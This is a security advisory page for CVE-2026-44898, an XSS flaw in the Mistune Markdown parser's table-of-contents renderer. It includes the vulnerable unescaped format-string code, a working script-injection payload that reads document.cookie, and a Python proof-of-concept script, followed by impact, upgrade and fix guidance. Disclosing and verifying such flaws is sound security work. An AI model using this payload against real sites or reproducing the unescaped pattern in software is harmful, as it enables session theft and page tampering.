CVE-2026-44898: Mistune TOC Anchor Injection XSS

Published May 14, 2026
·
Updated

Summary rendertocul() builds a <ul> table-of-contents tree from a list of (level, id, text) tuples. Both the id value (used as href="#<id>") and the text value (used as the visible link label) are inserted into <a> tags via a plain Python format string — with no HTML escaping applied to either value.

When heading IDs are derived from user-supplied heading text (the standard use-case for readable slug anchors), an attacker can craft a heading whose text breaks out of the href="#..." attribute context, injecting arbitrary HTML tags including <script> blocks directly into the rendered TOC.

This vulnerability is closely related to H2 (unescaped id= in heading()): the same headingid callback pattern that triggers H2 also populates the tocitems list that rendertocul() consumes, meaning both vulnerabilities fire simultaneously in a typical documentation setup.

Details File: src/mistune/toc.py

python def rendertocul(toc): ... for level, k, text in toc: # k = heading id (used verbatim as href fragment) # text = heading text (used verbatim as link label) item = '<a href="#{}">{}</a>'.format(k, text) # Neither k nor text is passed through escape() at any point

The k and text values come directly from the tocitems list accumulated during parsing. If k contains " or >, the href attribute is broken. If text contains <, raw tags are injected as the visible link content.

PoC Step 1 — Establish the baseline (safe default IDs)

The script creates a parser with escape=True and the default addtochook() (no custom callback). The default hook assigns sequential numeric IDs that never contain user text:

python mdsafe = createmarkdown(escape=True) addtochook(mdsafe)

blsrc = "# Introduction\n\n## Installation\n" , state = mdsafe.parse(blsrc) blout = rendertocul(state.env.get("tocitems", []))

Output — clean, safe TOC: html <ul> <li><a href="#toc1">Introduction</a> <ul> <li><a href="#toc2">Installation</a></li> </ul> </li> </ul>

Step 2 — Enable the vulnerable headingid callback

Register a callback that returns the raw heading text as the ID. This is the standard slug-based anchor pattern used by documentation generators:

python def rawid(token, index): return token.get("text", "")

mdvuln = createmarkdown(escape=True) addtochook(mdvuln, headingid=rawid)

Step 3 — Craft the exploit payload

Construct a heading whose text terminates the href="#..." attribute and injects a <script> block followed by a dangling <a href=" to absorb the closing "> that rendertocul appends:

x"><script>alert(document.cookie)</script><a href="

When rawid processes this heading, it returns the entire text as the ID: x"><script>alert(document.cookie)</script><a href=".

Step 4 — Observe script injection in the TOC output

python exsrc = '## x"><script>alert(document.cookie)</script><a href="\n' , state = mdvuln.parse(exsrc) exout = rendertocul(state.env.get("tocitems", []))

rendertocul() formats the malicious ID directly into the <a href>:

python '<a href="#{}">{}</a>'.format(k, text) becomes: '<a href="#x"><script>alert(document.cookie)</script><a href="">...<a/>'

Actual output: html <ul> <li><a href="#x"><script>alert(document.cookie)</script><a href="">x&quot;&gt;&lt;script&gt;alert(document.cookie)&lt;/script&gt;&lt;a href=&quot;</a></li> </ul>

The <script> block is live in the document. Note that the anchor label (text) is escaped correctly by mistune's inline renderer before it reaches tocitems, but k (the heading ID) is not escaped anywhere.

Script

I have built a script that you can use to verify this. It creates a HTML page showing the bypass so that you can see it render in the browser.

python #!/usr/bin/env python3 """H4: rendertocul() puts raw heading ID into <a href> without escaping.""" import os, html as h from mistune import createmarkdown from mistune.toc import addtochook, rendertocul

def rawid(token, index): return token.get("text", "")

--- baseline --- mdsafe = createmarkdown(escape=True) addtochook(mdsafe)

blfile = "baselineh4.md" blsrc = "# Introduction\n\n## Installation\n" with open(os.path.join(os.getcwd(), blfile), "w") as f: f.write(blsrc) , state = mdsafe.parse(blsrc) blout = rendertocul(state.env.get("tocitems", []))

print(f"[{blfile}]\n{blsrc}") print("[toc output — safe]") print(blout)

--- exploit --- mdvuln = createmarkdown(escape=True) addtochook(mdvuln, headingid=rawid)

exfile = "exploith4.md" exsrc = '## x"><script>alert(document.cookie)</script><a href="\n' with open(os.path.join(os.getcwd(), exfile), "w") as f: f.write(exsrc) , state = mdvuln.parse(exsrc) exout = rendertocul(state.env.get("tocitems", []))

print(f"[{exfile}]\n{exsrc}") print("[toc output — script injected via href breakout]") print(exout)

--- HTML report --- CSS = """ body{font-family:-apple-system,sans-serif;max-width:1200px;margin:40px auto;background:#f0f0f0;color:#111;padding:0 24px} h1{font-size:1.3em;border-bottom:3px solid #333;padding-bottom:8px;margin-bottom:4px} p.desc{color:#555;font-size:.9em;margin-top:6px} .case{margin:24px 0;border-radius:8px;overflow:hidden;border:1px solid #ccc;box-shadow:0 1px 4px rgba(0,0,0,.1)} .case-header{padding:10px 16px;font-weight:bold;font-family:monospace;font-size:.85em} .baseline .case-header{background:#d1fae5;color:#065f46} .exploit .case-header{background:#fee2e2;color:#7f1d1d} .panels{display:grid;grid-template-columns:1fr 1fr;background:#fff} .panel{padding:16px} .panel+.panel{border-left:1px solid #eee} .panel h3{margin:0 0 8px;font-size:.68em;color:#888;text-transform:uppercase;letter-spacing:.07em} pre{margin:0;padding:10px;background:#f6f6f6;border:1px solid #e0e0e0;border-radius:4px;font-size:.78em;white-space:pre-wrap;word-break:break-all} .rlabel{font-size:.68em;color:#aaa;margin:10px 0 4px;font-family:monospace} .rendered{padding:12px;border:1px dashed #ccc;border-radius:4px;min-height:20px;background:#fff;font-size:.9em} """

def case(kind, label, filename, src, out): return f""" <div class="case {kind}"> <div class="case-header">{'BASELINE' if kind=='baseline' else 'EXPLOIT'} — {h.escape(label)}</div> <div class="panels"> <div class="panel"> <h3>Input — {h.escape(filename)}</h3> <pre>{h.escape(src)}</pre> </div> <div class="panel"> <h3>TOC output — HTML source</h3> <pre>{h.escape(out)}</pre> <div class="rlabel">↓ rendered in browser</div> <div class="rendered">{out}</div> </div> </div> </div>"""

page = f"""<!DOCTYPE html><html lang="en"><head><meta charset="UTF-8"> <title>H4 — TOC XSS</title><style>{CSS}</style></head><body> <h1>H4 — TOC rendertocul() XSS</h1> <p class="desc">rendertocul() in toc.py uses '&lt;a href="#{{}}"&gt;{{}}&lt;/a&gt;'.format(k, text) — neither k (the heading ID) nor text is escaped before insertion.</p> {case("baseline", "Normal headings → sequential IDs → clean TOC links", blfile, blsrc, blout)} {case("exploit", "Malicious heading ID breaks out of href='#...' → script injected", exfile, exsrc, exout)} </body></html>"""

outpath = os.path.join(os.getcwd(), "reporth4.html") with open(outpath, "w") as f: f.write(page) print(f"\n[report] {outpath}")

Example usage: bash python poc.py

Once you run the script, open reporth4.html in the browser and observe the behaviour.

Impact | Dimension | Assessment | |------------------|-----------| | Confidentiality | JavaScript execution; attacker can exfiltrate session cookies and any data accessible from the page's origin | | Integrity | Arbitrary DOM manipulation, phishing form injection, forced redirects | | Availability | Page crash or freeze available as secondary effect |

Risk context: TOC generation is a rendering step that often happens in a different template layer from the main body render, potentially reviewed separately and trusted implicitly. Vulnerabilities in TOC output are frequently overlooked in code review. Combined with H2, an attacker exploiting this via a single malicious heading simultaneously injects into both the heading element and the TOC anchor.

Other sources

Mistune is a Python Markdown parser with renderers and plugins. Prior to 3.2.1, rendertocul() builds a <ul> table-of-contents tree from a list of (level, id, text) tuples. Both the id value (used as href="#<id>") and the text value (used as the visible link label) are inserted into <a> tags via a plain Python format string — with no HTML escaping applied to either value. When heading IDs are derived from user-supplied heading text (the standard use-case for readable slug anchors), an attacker can craft a heading whose text breaks out of the href="#..." attribute context, injecting arbitrary HTML tags including <script> blocks directly into the rendered TOC. This vulnerability is fixed in 3.2.1.

MITRE

Affected Software

3 affected componentsFixes available
pip/mistune=3.2.0
3.2.1
Mistune Project Mistune<3.2.1
Microsoft azl3 python-mistune 3.0.2-1

Remediation

Recommended actions to resolve this vulnerability, in priority order.

  1. Upgrade

    Upgrade pip/mistune to a version that resolves this vulnerability.

    Fixed in 3.2.1
  2. Upgrade

    Upgrade mistune to a version that resolves this vulnerability.

    Fixed in 3.2.1
  3. Configuration

    Modify render_toc_ul() in src/mistune/toc.py so that the heading ID value (k, used in href="#<id>") is escaped before being inserted into the href attribute (currently neither k nor text are escaped in the format string '<a href="#{{}}">{{}}</a>'.format(k, text).

    render_toc_ul() (src/mistune/toc.py) escape heading id (k) before inserting into <a href> = HTML-escape k before formatting into '<a href="#{{}}">{{}}</a>'

Event History

May 14, 2026
Advisory Published
via GitHub·04:36 PM
Data Sourced
via GitHub·04:36 PM
DescriptionSeverityWeaknessAffected Software
May 26, 2026
CVE Published
via MITRE·08:41 PM
Data Sourced
via MITRE·08:41 PM
DescriptionSeverityWeakness
Data Sourced
via NVD·09:16 PM
DescriptionSeverityWeaknessAffected Software
May 28, 2026
Data Sourced
via Microsoft·08:06 AM
DescriptionSeverityWeaknessAffected Software

Frequently Asked Questions

1

What is the severity of CVE-2026-44898?

CVE-2026-44898 has been classified as a vulnerability due to improper handling of user input leading to possible Cross-Site Scripting (XSS) attacks.

2

How do I fix CVE-2026-44898?

To fix CVE-2026-44898, upgrade the 'mistune' package to version 3.2.1 or later.

3

What types of software are affected by CVE-2026-44898?

CVE-2026-44898 affects the 'mistune' package, specifically versions 3.2.0 and lower.

4

What is the main issue with CVE-2026-44898?

The main issue with CVE-2026-44898 involves the lack of HTML escaping when generating links from user-controlled data.

5

Can CVE-2026-44898 affect web applications?

Yes, CVE-2026-44898 can potentially affect web applications that utilize the vulnerable version of the 'mistune' package to render user-generated content.

Contact

SecAlerts Pty Ltd.
132 Wickham Terrace
Fortitude Valley,
QLD 4006, Australia
info@secalerts.co
By using SecAlerts services, you agree to our services end-user license agreement. This website is safeguarded by reCAPTCHA and governed by the Google Privacy Policy and Terms of Service. All names, logos, and brands of products are owned by their respective owners, and any usage of these names, logos, and brands for identification purposes only does not imply endorsement. If you possess any content that requires removal, please get in touch with us.
© 2026 SecAlerts Pty Ltd.
ABN: 70 645 966 203, ACN: 645 966 203